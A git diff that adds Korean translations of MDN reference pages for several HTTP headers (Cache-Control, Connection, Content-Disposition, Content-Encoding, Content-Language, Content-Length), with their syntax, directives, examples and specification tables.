<li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/ko/web/http/headers/cache-control/index.html b/files/ko/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..28225982b0 --- /dev/null +++ b/files/ko/web/http/headers/cache-control/index.html @@ -0,0 +1,171 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +translation_of: Web/HTTP/Headers/Cache-Control +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cache-Control</code></strong> 일반 헤더 필드는 요청과 응답 내의 캐싱 메커니즘을 위한 디렉티브를 정하기 위해 사용됩니다. 캐싱 디렉티브는 단방향성이며, 이는 요청 내에 주어진 디렉티브가 응답 내에 주어진 디렉티브와 동일하다는 것을 뜻하지는 않는다는 것을 의미합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<p>디렉티브는 대소문자를 구분하지 않으며 토큰과 따옴표로 둘러쌓인 문자열 문법 모두를 사용할 수 있는 부가적인 인자를 가집니다. 다중 디렉티브는 쉼표로 구분됩니다.</p> + +<h3 id="캐시_요청_디렉티브">캐시 요청 디렉티브</h3> + +<p>HTTP 요청 내에서 클라이언트에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p> + +<pre class="syntaxbox">Cache-Control: max-age=<seconds> +Cache-Control: max-stale[=<seconds>] +Cache-Control: min-fresh=<seconds> +Cache-control: no-cache +Cache-control: no-store +Cache-control: no-transform +Cache-control: only-if-cached +</pre> + +<h3 id="캐시_응답_디렉티브">캐시 응답 디렉티브</h3> + +<p>HTTP 응답 내에서 서버에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p> + +<pre class="syntaxbox">Cache-control: must-revalidate +Cache-control: no-cache +Cache-control: no-store +Cache-control: no-transform +Cache-control: public +Cache-control: private +Cache-control: proxy-revalidate +Cache-Control: max-age=<seconds> +Cache-control: s-maxage=<seconds> +</pre> + +<h3 id="확장_Cache-Control_디렉티브">확장 <code>Cache-Control</code> 디렉티브</h3> + +<p>확장 <code>Cache-Control</code> 디렉티브는 핵심 HTTP 캐싱 표준 문서에 속하지 않습니다. 지원 여부는 <a href="#Browser_compatibility">호환성 테이블</a>을 확인하시기 바랍니다.</p> + +<pre class="syntaxbox">Cache-control: immutable +Cache-control: stale-while-revalidate=<seconds> +Cache-control: stale-if-error=<seconds> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<h3 id="캐시_능력">캐시 능력</h3> + +<dl> + <dt><code>public</code></dt> + <dd>응답이 어떤 캐시에 의해서든 캐시된다는 것을 나타냅니다.</dd> + <dt><code>private</code></dt> + <dd>응답이 단일 사용자를 위한 것이며 공유 캐시에 의해 저장되지 않아야 한다는 것을 나타냅니다. 사설 캐시는 응답을 저장할 수도 있습니다.</dd> + <dt><code>no-cache</code></dt> + <dd>캐시된 복사본을 사용자에게 보여주기 이전에, 재검증을 위한 요청을 원 서버로 보내도록 강제합니다.</dd> + <dt><code>only-if-cached</code></dt> + <dd>새로운 데이터를 내려받지 않음을 나타냅니다. 클라이언트는 캐시된 응답만을 원하며, 더 최신 복사본이 존재하는지를 알아보기 위해 서버에 요청해선 안됩니다.</dd> +</dl> + +<h3 id="만료">만료</h3> + +<dl> + <dt><code>max-age=<seconds></code></dt> + <dd>리소스가 최신 상태라고 판단할 최대 시간을 지정합니다. <code>Expires</code>에 반해, 이 디렉티브는 요청 시간과 관련이 있습니다.</dd> + <dt><code>s-maxage=<seconds></code></dt> + <dd><code>max-age</code> 혹은 <code>Expires</code> 헤더를 재정의하나, (프록시와 같은) 공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd> + <dt><code>max-stale[=<seconds>]</code></dt> + <dd>클라이언트가 캐시의 만료 시간을 초과한 응답을 받아들일지를 나타냅니다. 부가적으로, 초 단위의 값을 할당할 수 있는데, 이는 응답이 결코 만료되서는 안되는 시간을 나타냅니다.</dd> + <dt><code>min-fresh=<seconds></code></dt> + <dd>클라이언트가 지정된 시간(초단위) 동안 신선한 상태로 유지될 응답을 원한다는 것을 나타냅니다.</dd> + <dt><code>stale-while-revalidate=<seconds></code> {{experimental_inline}}</dt> + <dd>비동기 적으로 백그라운드 에서 새로운 것으로 체크인하는 동안 클라이언트가 최신이 아닌 응답을 받아 들일 것임을 나타냅니다. 초 값은 클라이언트가 최신이 아닌 응답을 받아 들일 시간을 나타냅니다.</dd> + <dt><code>stale-if-error=<seconds></code> {{experimental_inline}}</dt> + <dd>...</dd> +</dl> + +<h3 id="재검증과_리로딩">재검증과 리로딩</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>캐시는 사용하기 이전에 기존 리소스의 상태를 반드시 확인해야 하며 만료된 리소스는 사용되어서는 안됩니다.</dd> + <dt><code>proxy-revalidate</code></dt> + <dd><code>must-revalidate</code>와 동일하지만, (프록시와 같은)공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd> + <dt><code>immutable</code></dt> + <dd>응답 본문이 계속해서 변하지 않을 것이라는 것을 나타냅니다. 응답은, 만료되지 않은 경우라면, 서버 상에서 변경되지 않을 것이고 그러므로 클라이언트는 업데이트 검사를 위해 (<code>If-None-Match</code> 혹은 <code>If-Modified-Since</code>과 같은)그에 대한 조건부의 재검증을 전송해서는 안 됩니다. 이 확장을 감지하지못한 클라이언트는 HTTP 명세에 따라 그것들을 무시해야만 합니다. 파이어폭스에서, <code>immutable</code>는 <code>https://</code> 트랜잭션 상에서만 부여됩니다. 좀 더 많은 정보는 다음의 <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">블로그 포스트</a>를 참고하시기 바랍니다.</dd> +</dl> + +<h3 id="기타">기타</h3> + +<dl> + <dt><code>no-store</code></dt> + <dd>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다.</dd> + <dt><code>no-transform</code></dt> + <dd>응답에 대해 변형이나 변환이 일어나서는 안됩니다. Content-Encoding, Content-Range, Content-Type 헤더는 프록시에 의해서 수정되어서는 안됩니다. 반투명 프록시는, 예를 들어, 캐시 공간을 절약하고 느린 링크 상의 트래픽량을 줄이기 위해 이미지 포맷들을 변환합니다. <code>no-transform</code> 디렉티브는 이를 허용하지 않습니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="캐싱_막기">캐싱 막기</h3> + +<p>캐싱을 끄기 위해서, 다음의 디렉티브들을 보낼 수 있습니다. 추가로, <code>Expires와</code> <code>Pragma</code> 헤더를 참고하시기 바랍니다.</p> + +<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h3 id="정적_에셋_캐싱">정적 에셋 캐싱</h3> + +<p>변경되지 않을 애플리케이션 내 파일들에 대해, 보통 적극적인 캐싱을 추가할 수 있습니다. 이것은 예를 들자면, 이미지, CSS 파일 그리고 자바스크립트 파일과 같이 애플리케이션에 의해 서브되는 정적 파일들을 포함합니다. 추가로, <code>Expires</code> 헤더를 참고하시기 바랍니다.</p> + +<pre class="brush: bash">Cache-Control:public, max-age=31536000</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7234")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + <tr> + <td>{{RFC("5861")}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + </tr> + <tr> + <td>{{RFC("8246")}}</td> + <td>HTTP Immutable Responses</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/ko/web/http/headers/connection/index.html b/files/ko/web/http/headers/connection/index.html new file mode 100644 index 0000000000..f86c4e666f --- /dev/null +++ b/files/ko/web/http/headers/connection/index.html @@ -0,0 +1,53 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - 웹 + - 참조 + - 헤더 +translation_of: Web/HTTP/Headers/Connection +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Connection</code></strong> 일반 헤더는 현재의 전송이 완료된 후 네트워크 접속을 유지할지 말지를 제어합니다. 만약 전송된 값이 <code>keep-alive</code>면, 연결은 지속되고 끊기지 않으며, 동일한 서버에 대한 후속 요청을 수행할 수 있습니다.</p> + +<div class="blockIndicator warning"> +<p>{{HTTPHeader("Connection")}} 와 {{HTTPHeader("Keep-Alive")}} 같은 연결-지정(Connection-specific) 헤더 필드들은 <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">HTTP/2.에서 금지되었습니다</a>. 크롬과 파이어폭스는 HTTP/2 응답에서 그들을 무시하지만, 사파리는 HTTP/2 규격 요건에 따라 해당 필드가 포함된 응답은 처리하지 않습니다. </p> +</div> + +<p>표준 홉 간 헤더인 ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} 그리고 {{HTTPHeader("Proxy-Authenticate")}})를 제외하고, 메시지에 의해 사용되는 모든 홉 간 헤더들이 <code>Connection</code> 헤더 내에 연결되기에, 첫번째 프록시는 자신이 해당 헤더들을 소비해야 하며 포워드해서는 안된다는 것을 알 게 됩니다. 표준 홉 간 헤더들도 나열될 수 있지만(대게 {{HTTPHeader("Keep-Alive")}}의 경우가 그렇습니다), 강제적인 것은 아닙니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox notranslate">Connection: keep-alive +Connection: close +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>close</code></dt> + <dd>클라이언트 혹은 서버가 연결을 닫으려고 하는 것을 나타냅니다. 이것은 HTTP/1.0 요청에서 기본 값입니다.</dd> + <dt>쉼표로 구분된 HTTP 헤더 목록 [보통 <code>keep-alive</code> 만 해당]</dt> + <dd>클라이언트가 연결을 열린 상태로 유지하려는 것을 나타냅니다. 영속적인 연결을 가지는 것은 HTTP/1.1 요청의 경우 기본입니다. 헤더 목록은 첫번째 반투명 프록시 혹은 중간 캐시에 의해 제거될 헤더의 이름입니다: 이 헤더들은 목적지 노드가 아닌 (요청) 발행자와 첫번째 개체 사이의 연결을 정의합니다.</dd> +</dl> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 만약 당신이 그 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 체크아웃하고 풀리퀘스트를 보내주십시오.</p> + +<div>{{Compat("http.headers.Connection")}}</div> diff --git a/files/ko/web/http/headers/content-disposition/index.html b/files/ko/web/http/headers/content-disposition/index.html new file mode 100644 index 0000000000..febe46b9dd --- /dev/null +++ b/files/ko/web/http/headers/content-disposition/index.html @@ -0,0 +1,133 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +translation_of: Web/HTTP/Headers/Content-Disposition +--- +<div>{{HTTPSidebar}}<br> +일반적인 HTTP 응답에서 <code><strong>Content-Disposition</strong></code> 헤더는 컨텐츠가 브라우저에 <em>inline</em> 되어야 하는 웹페이지 자체이거나 웹페이지의 일부인지, 아니면 <em>attachment</em>로써 다운로드 되거나 로컬에 저장될 용도록 쓰이는 것인지를 알려주는 헤더입니다.</div> + +<div></div> + +<p><code>multipart/form-data</code> 본문에서의 <strong><code>Content-Disposition</code></strong> 일반 헤더는 multipart의 하위파트에서 활용될 수 있는데, 이 때 이 헤더는 multipart 본문 내의 필드에 대한 정보를 제공합니다. multipart의 하위파트는 {{HTTPHeader("Content-Type")}} 헤더에 정의된 <em>boundary</em> 구분자에 의해 구분되며, <code>Content-Disposition</code> 헤더를 multipart 자체에 사용하는 것은 아무런 효과를 발휘하지 못합니다.</p> + +<p><code>Content-Disposition</code> 헤더는 광의의 MIME 맥락 속에서 정의되었는데, 그 정의에서 사용되는 파라미터 중 일부인 <code>form-data</code>, <code>name</code> 그리고 <code>filename</code>만이 HTTP forms와 {{HTTPMethod("POST")}} 요청에 적용될 수 있습니다. 여기서 <code>name</code>과 <code>filename</code>은 필수적인 파라미터는 아닙니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}} (for the main body)<br> + {{Glossary("General header")}} (for a subpart of a multipart body)</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax_구문">Syntax (구문)</h2> + +<h3 id="As_a_response_header_for_the_main_body_메인_바디를_위한_응답_헤더로서">As a response header for the main body (메인 바디를 위한 응답 헤더로서)</h3> + +<p>HTTP 구문의 첫번째 파라미터는 <code>inline</code> (기본값, 웹 페이지 안에서 또는 웹 페이지로 나타남) 또는 <code>attachment</code> (반드시 다운로드 받아야 하며 대부분의 브라우저는 'Save as'(새이름으로저장)창을 보여주고 <code>filename</code> 파라미터들이 존재한다면 그 이름을 새이름으로 미리 채워줌)입니다.</p> + +<pre class="syntaxbox notranslate">Content-Disposition: inline +Content-Disposition: attachment +Content-Disposition: attachment; filename="filename.jpg"</pre> + +<h3 id="As_a_header_for_a_multipart_body_멀티파트_바디를_위한_헤더로서">As a header for a multipart body (멀티파트 바디를 위한 헤더로서)</h3> + +<p>HTTP 구문의 첫번째 파라미터는 언제나 <code>form-data</code>입니다. 추가적인 파라미터들은 대소문자 구분이 없으며, <code>'='</code> 다음에 "문자열로 표현한 아규먼트들"을 가집니다. 다중 파라미터들은 세미콜론 (<code>';'</code>)으로 구분합니다.</p> + +<pre class="syntaxbox notranslate">Content-Disposition: form-data +Content-Disposition: form-data; name="fieldName" +Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre> + +<h3 id="Directives_지시자들">Directives (지시자들)</h3> + +<dl> + <dt><code>name</code></dt> + <dd>이름(<code>name</code>) 다음에 오는 문자열에는 이 서브파트가 참조하는 폼의 HTML 필드에서 사용한 그 이름이 들어갑니다. 같은 필드에 여러개의 파일이 있을 경우 (예 : <code>{{HTMLElement("input","<input type=\"file\">")}}</code> 요소의 {{htmlattrxref("multiple", "input")}} 속성), 같은 이름으로 여러개의 서브파트들이 존재할 수 있습니다.</dd> + <dd><code>name</code>의 값이 <code>'_charset_'</code>인 것은 그 부분이 HTML필드가 아니라, charset을 명시하지 않고 사용할 수 있는 기본 charset임을 나타냅니다.</dd> + <dt><code>filename</code></dt> + <dd>파일명(<code>filename</code>) 다음에 오는 문자열에는 전송된 해당 파일의 원래 이름이 들어갑니다. 파일명은 언제나 선택사항이지만, 맹목적으로 쓰여서는 안됩니다 : 경로 정보가 공개되어야 하며, 서버 파일 시스템 규칙에 따라 전환되어야 합니다. 이러한 파라미터들은 대부분 지시적 정보(indicative information)를 제공합니다. 파일명이 <code>Content-Disposition: attachment</code>과 같이 사용되면 최종적으로 사용자가 "새이름으로저장(Save As)" 창에서 보게 되는 파일명의 기본값으로 사용됩니다.</dd> + <dt><code>filename*</code></dt> + <dd> + <p>"filename"과의 유일한 차이점은 "filename*"는 인코딩으로 <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면 "filename*"이 보다 우선됩니다.</p> + </dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>A response triggering the "Save As" dialog:</p> + +<pre class="notranslate">200 OK +Content-Type: text/html; charset=utf-8 +Content-Disposition: attachment; filename="cool.html" +Content-Length: 21 + +<HTML>Save me!</HTML> + +</pre> + +<p>This simple HTML file will be saved as a regular download rather than displayed in the browser. Most browsers will propose to save it under the <code>cool.html</code> filename (by default).</p> + +<p>An example of an HTML form posted using the <code>multipart/form-data</code> format that makes use of the <code>Content-Disposition</code> header:</p> + +<pre class="notranslate">POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary--</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7578")}}</td> + <td>Returning Values from Forms: multipart/form-data</td> + </tr> + <tr> + <td>{{RFC("6266")}}</td> + <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> + </tr> + <tr> + <td>{{RFC("2183")}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Disposition")}}</p> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<ul> + <li>Firefox 5 handles the <code>Content-Disposition</code> HTTP response header more effectively if both the <code>filename</code> and <code>filename*</code> parameters are provided; it looks through all provided names, using the <code>filename*</code> parameter if one is available, even if a <code>filename</code> parameter is included first. Previously, the first matching parameter would be used, thereby preventing a more appropriate name from being used. See {{bug(588781)}}.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li> + <li>The {{HTTPHeader("Content-Type")}} defining the boundary of the multipart body.</li> + <li>The {{domxref("FormData")}} interface used to manipulate form data for use in the {{domxref("XMLHttpRequest")}} API.</li> +</ul> diff --git a/files/ko/web/http/headers/content-encoding/index.html b/files/ko/web/http/headers/content-encoding/index.html new file mode 100644 index 0000000000..e87da000ea --- /dev/null +++ b/files/ko/web/http/headers/content-encoding/index.html @@ -0,0 +1,94 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +translation_of: Web/HTTP/Headers/Content-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Encoding</code></strong> 개체 헤더는 미디어 타입을 압축하기 위해 사용됩니다. 이 헤더가 존재하면, 그 값은 개체 본문에 어떤 추가적인 컨텐츠 인코딩이 적용될지를 나타냅니다. 그것은 <code>Content-Type</code> 헤더에 의해 참조되는 미디어 타입을 얻도록 디코드하는 방법을 클라이언트가 알게 해줍니다.</p> + +<p>가능한 더 많은 데이터를 압축하기 위해 이 필드의 사용이 권고되지만, jpeg 이미지와 같은 어떤 유형의 리소스들은 이미 압축되어 때때로 추가적인 압축이 별 소용이 없고 페이로드를 더 길게 만들수도 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Encoding: gzip +Content-Encoding: compress +Content-Encoding: deflate +Content-Encoding: identity +Content-Encoding: br +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>32비트 CRC를 지닌, <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 포맷. 이는 본래 UNIX <em>gzip</em> 프로그램의 포맷입니다. HTTP/1.1 표준 역시 이 컨텐츠 인코딩을 지원하는 서버는 호환성 목적으로, <code>x-gzip</code> 별칭의 인지가 권고됩니다.</dd> + <dt><code>compress</code></dt> + <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 포맷. 그 값의 이름은 이 알고리즘을 구현한 UNIX <em>compress</em> 프로그램으로부터 가져왔습니다.<br> + 대부분의 UNIX 배포판으로부터 사라져 왔던 압축 프로그램처럼, 이 content-encoding은 (2013년에 만료된)특허권 이슈로 오늘날의 브라우저에서 사용되지 않습니다.</dd> + <dt><code>deflate</code></dt> + <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 압축 알고리즘을 이용한, (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 스트럭쳐를 사용합니다.</dd> + <dt><code>identity</code></dt> + <dd>identity 함수를 나타냅니다(즉, 압축 없음 혹은 변경 없음). 이 토큰은, 명시적으로 지정된 경우를 제외하고, 항상 수용 가능하다고 여겨집니다.</dd> + <dt><code>br</code></dt> + <dd><a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 포맷.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="gzip을_이용해_압축하기">gzip을 이용해 압축하기</h3> + +<p>클라이언트 측에서, HTTP 요청 내에 함께 전송될 압축 스킴 목록을 알릴 수 있습니다. {{HTTPHeader("Accept-Encoding")}} 헤더는 컨텐츠 인코딩 협상을 위해 사용됩니다.</p> + +<pre>Accept-Encoding: gzip, deflate</pre> + +<p>서버는 사용한 스킴을 <code>Content-Encoding</code> 응답 헤더에 표시하여 응답합니다.</p> + +<pre>Content-Encoding: gzip</pre> + +<p>서버는 어떤 압축 방법도 사용하도록 강요받지 않는다는 것을 알아두시기 바랍니다. 압축은 서버 설정과 사용되는 서버 모듈에 상당히 의존적입니다.</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td> + <td>Brotli Compressed Data Format</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/ko/web/http/headers/content-language/index.html b/files/ko/web/http/headers/content-language/index.html new file mode 100644 index 0000000000..b14724b515 --- /dev/null +++ b/files/ko/web/http/headers/content-language/index.html @@ -0,0 +1,92 @@ +--- +title: Content-Language +slug: Web/HTTP/Headers/Content-Language +translation_of: Web/HTTP/Headers/Content-Language +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Language</code></strong> {{Glossary("entity header")}}는 청중을 위한 언어를 설명하기 위해 사용되는데, 사용자가 선호하는 언어에 따라 사용자를 구분하도록 해줍니다.</p> + +<p>예를 들어, "<code>Content-Language: de-DE</code>"가 설정되면, 이는 문서가 독일어 발표자를 위해 만들어졌음을 의미합니다(하지만, 그것이 문서가 독일어로 쓰여졌음을 나타내지는 않습니다. 예를 들어, 독일인 발표자를 위한 언어 코스의 일부분이 영어로 작성된 것일 수도 있습니다).</p> + +<p><code>Content-Language</code>이 지정되지 않는다면, 모든 언어의 청중을 위해 만들어진 내용이라고 간주합니다. 다중 언어 태그 또한 가능한데다, 텍스트로 이루어진 문서 뿐만 아니라 여러 가지 미디어 타입에도 <code>Content-Language</code> 헤더가 적용됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Language: de-DE +Content-Language: en-US +Content-Language: de-DE, en-CA +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>language-tag</code></dt> + <dd>다중 언어 태그는 쉼표로 구분됩니다. 각 언어 태그는 하이프 문자("<code>-</code>", <code>%x2D</code>)로 구분되는, 한 개 이상의 대소문자를 구분하지 않는 서브태그의 연속입니다. 대부분의 경우, 언어 태그는 관련 언어군 (예를 들어, "<code>en</code>" = English)을 나타내는 주요 언어로 구성되는데, 그 뒤에는 해당 언어의 범위를 정제하거나 좁혀주는 d일련의 서브태그가 올 수 있습니다 (예, "<code>en-CA</code>" = 캐나다에서 사용되는 영어의 변종).</dd> +</dl> + +<div class="note"> +<p><strong>알아둘 것:</strong> 언어 태그는 공식적으로 <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>에 정의되어 있으며, 그에 이어 사용될 <a href="https://en.wikipedia.org/wiki/Language_code">언어 코드</a>에 대해서 <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> 표준이 있습니다(더 정확히는 <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 코드 목록</a>).</p> +</div> + +<h2 id="예제">예제</h2> + +<h3 id="문서가_작성된_언어_나타내기">문서가 작성된 언어 나타내기</h3> + +<p>글로벌 <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> 어트리뷰는 HTML 엘리먼트 상에서 전체 <a href="/en-US/docs/Web/HTML">HTML</a> 문서 혹은 그의 일부의 언어를 나타내기 위해 사용됩니다.</p> + +<pre class="brush: html"><html lang="de"></pre> + +<p>다음과 같이 문서 언어를 나타내기 위해 이와 같은 메타 엘리먼트를 사용하지 <strong>마세요</strong>:</p> + +<pre class="brush: html example-bad"><!-- /!\ This is bad practice --> +<meta http-equiv="content-language" content="de"></pre> + +<h3 id="리소스에_대해_대상_청중_나타내기">리소스에 대해 대상 청중 나타내기</h3> + +<p><code>Content-Language</code> 헤더는 <strong>페이지의 대상 청중</strong>을 지정하는데 사용되며 한 개 이상의 언어를 나태낼 수 있습니다.</p> + +<pre>Content-Language: de, en</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li> + <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP 헤더, 메타 엘리먼트 그리고 언어 정보</a></p> + </li> +</ul> diff --git a/files/ko/web/http/headers/content-length/index.html b/files/ko/web/http/headers/content-length/index.html new file mode 100644 index 0000000000..1948679fec --- /dev/null +++ b/files/ko/web/http/headers/content-length/index.html @@ -0,0 +1,60 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +translation_of: Web/HTTP/Headers/Content-Length +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Length</code></strong> 개체 헤더는 수신자에게 보내지는, 바이트 단위를 가지는 개체 본문의 크기를 나타냅니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Length: <length> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><length></dt> + <dd>octets에 대한 십진수 단위의 길이.</dd> +</dl> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + 